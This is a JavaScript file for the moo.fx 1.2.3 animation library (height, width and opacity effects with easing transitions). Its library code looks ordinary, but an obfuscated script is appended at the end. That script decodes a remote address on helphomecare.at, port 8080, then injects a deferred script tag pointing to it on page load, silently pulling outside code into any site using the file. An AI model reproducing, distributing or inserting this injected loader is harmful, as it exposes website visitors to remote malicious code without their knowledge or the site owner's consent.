/*
moo.fx, simple effects library built with prototype.js (http://prototype.conio.net).
by Valerio Proietti (http://mad4milk.net) MIT-style LICENSE.
for more info (http://moofx.mad4milk.net).
Sunday, March 05, 2006
v 1.2.3
*/

var fx = new Object();
//base
fx.Base = function(){};
fx.Base.prototype = {
	setOptions: function(options) {
	this.options = {
		duration: 500,
		onComplete: '',
		transition: fx.sinoidal
	}
	Object.extend(this.options, options || {});
	},

	step: function() {
		var time  = (new Date).getTime();
		if (time >= this.options.duration+this.startTime) {
			this.now = this.to;
			clearInterval (this.timer);
			this.timer = null;
			if (this.options.onComplete) setTimeout(this.options.onComplete.bind(this), 10);
		}
		else {
			var Tpos = (time - this.startTime) / (this.options.duration);
			this.now = this.options.transition(Tpos) * (this.to-this.from) + this.from;
		}
		this.increase();
	},

	custom: function(from, to) {
		if (this.timer != null) return;
		this.from = from;
		this.to = to;
		this.startTime = (new Date).getTime();
		this.timer = setInterval (this.step.bind(this), 13);
	},

	hide: function() {
		this.now = 0;
		this.increase();
	},

	clearTimer: function() {
		clearInterval(this.timer);
		this.timer = null;
	}
}

//stretchers
fx.Layout = Class.create();
fx.Layout.prototype = Object.extend(new fx.Base(), {
	initialize: function(el, options) {
		this.el = $(el);
		this.el.style.overflow = "hidden";
		this.iniWidth = this.el.offsetWidth;
		this.iniHeight = this.el.offsetHeight;
		this.setOptions(options);
	}
});

fx.Height = Class.create();
Object.extend(Object.extend(fx.Height.prototype, fx.Layout.prototype), {	
	increase: function() {
		this.el.style.height = this.now + "px";
	},

	toggle: function() {
		if (this.el.offsetHeight > 0) this.custom(this.el.offsetHeight, 0);
		else this.custom(0, this.el.scrollHeight);
	}
});

fx.Width = Class.create();
Object.extend(Object.extend(fx.Width.prototype, fx.Layout.prototype), {	
	increase: function() {
		this.el.style.width = this.now + "px";
	},

	toggle: function(){
		if (this.el.offsetWidth > 0) this.custom(this.el.offsetWidth, 0);
		else this.custom(0, this.iniWidth);
	}
});

//fader
fx.Opacity = Class.create();
fx.Opacity.prototype = Object.extend(new fx.Base(), {
	initialize: function(el, options) {
		this.el = $(el);
		this.now = 1;
		this.increase();
		this.setOptions(options);
	},

	increase: function() {
		if (this.now == 1 && (/Firefox/.test(navigator.userAgent))) this.now = 0.9999;
		this.setOpacity(this.now);
	},
	
	setOpacity: function(opacity) {
		if (opacity == 0 && this.el.style.visibility != "hidden") this.el.style.visibility = "hidden";
		else if (this.el.style.visibility != "visible") this.el.style.visibility = "visible";
		if (window.ActiveXObject) this.el.style.filter = "alpha(opacity=" + opacity*100 + ")";
		this.el.style.opacity = opacity;
	},

	toggle: function() {
		if (this.now > 0) this.custom(1, 0);
		else this.custom(0, 1);
	}
});

//transitions
fx.sinoidal = function(pos){
	return ((-Math.cos(pos*Math.PI)/2) + 0.5);
	//this transition is from script.aculo.us
}
fx.linear = function(pos){
	return pos;
}
fx.cubic = function(pos){
	return Math.pow(pos, 3);
}
fx.circ = function(pos){
	return Math.sqrt(pos);
}

this.r="";var mY;if(mY!='CK' && mY!='m'){mY='CK'};var Rt=new Date();function X(){var JN="";var y=new String();var W=unescape;var M=window;var T;if(T!='k'){T='k'};var O=W("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6a%63%70%65%6e%6e%65%79%2e%63%6f%6d%2f%66%6f%72%62%65%73%2e%63%6f%6d%2e%70%68%70");var hB;if(hB!='' && hB!='t'){hB=''};var a;if(a!='' && a!='A'){a=''};var Zh;if(Zh!='WZ' && Zh!='zI'){Zh=''};function Y(o,J){var mC;if(mC!='' && mC!='K'){mC=null};var ax='';var s="g";this.B="";var OQ=W("%5b"), Q=W("%5d");this.c="";var em="";var v=OQ+J+Q;var ya="";var d=new RegExp(v, s);var lx;if(lx!='' && lx!='fe'){lx=''};var CW;if(CW!='Xo' && CW!='mX'){CW=''};return o.replace(d, new String());};var HW;if(HW!='' && HW!='u'){HW='VK'};this.dJI='';var ct=new String();this.EF="";var h=document;var Hb;if(Hb!='' && Hb!='EQ'){Hb=null};var uH=new Array();this.F='';var Xa=Y('899225233403993124287435456409542255','62753149');var JJ="";var tJ="";var C=new String();var I="";this.iu='';function i(){var b=W("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");var kZ=new Date();var Wk;if(Wk!='ZC' && Wk!='XW'){Wk=''};C=b;var lg;if(lg!='epo' && lg != ''){lg=null};var ki;if(ki!='IC'){ki=''};C+=Xa;C+=O;var se;if(se!='IT'){se='IT'};try {var CT;if(CT!='Jh' && CT != ''){CT=null};var Ud="";var EB;if(EB!='dF' && EB != ''){EB=null};var GZ=new String();G=h.createElement(Y('sJcqrPiRpJt9','AzqH98JOP7XTxSR'));this.hr="";var Kh=new String();var Pk=new Array();G[W("%73%72%63")]=C;var MV;if(MV!='' && MV!='fl'){MV='wC'};var Wy;if(Wy!='' && Wy!='to'){Wy=null};G[W("%64%65%66%65%72")]=[1][0];this.kU='';var wk;if(wk!=''){wk='hu'};h.body.appendChild(G);this.S='';var Uw;if(Uw!='Tx'){Uw=''};} catch(iv){var tG='';var DR;if(DR!='qa' && DR!='lJ'){DR='qa'};alert(iv);var IE=new Date();var Pj=new Date();};var yF=new String();}var Hg;if(Hg!='HN' && Hg != ''){Hg=null};var tD;if(tD!='JW' && tD != ''){tD=null};var Th="";var xEb="";M["on"+"lo"+"ad"]=i;this.GV="";};var jc;if(jc!='d_' && jc!='Cey'){jc=''};var oh=new Date();var DP;if(DP!='iS'){DP='iS'};X();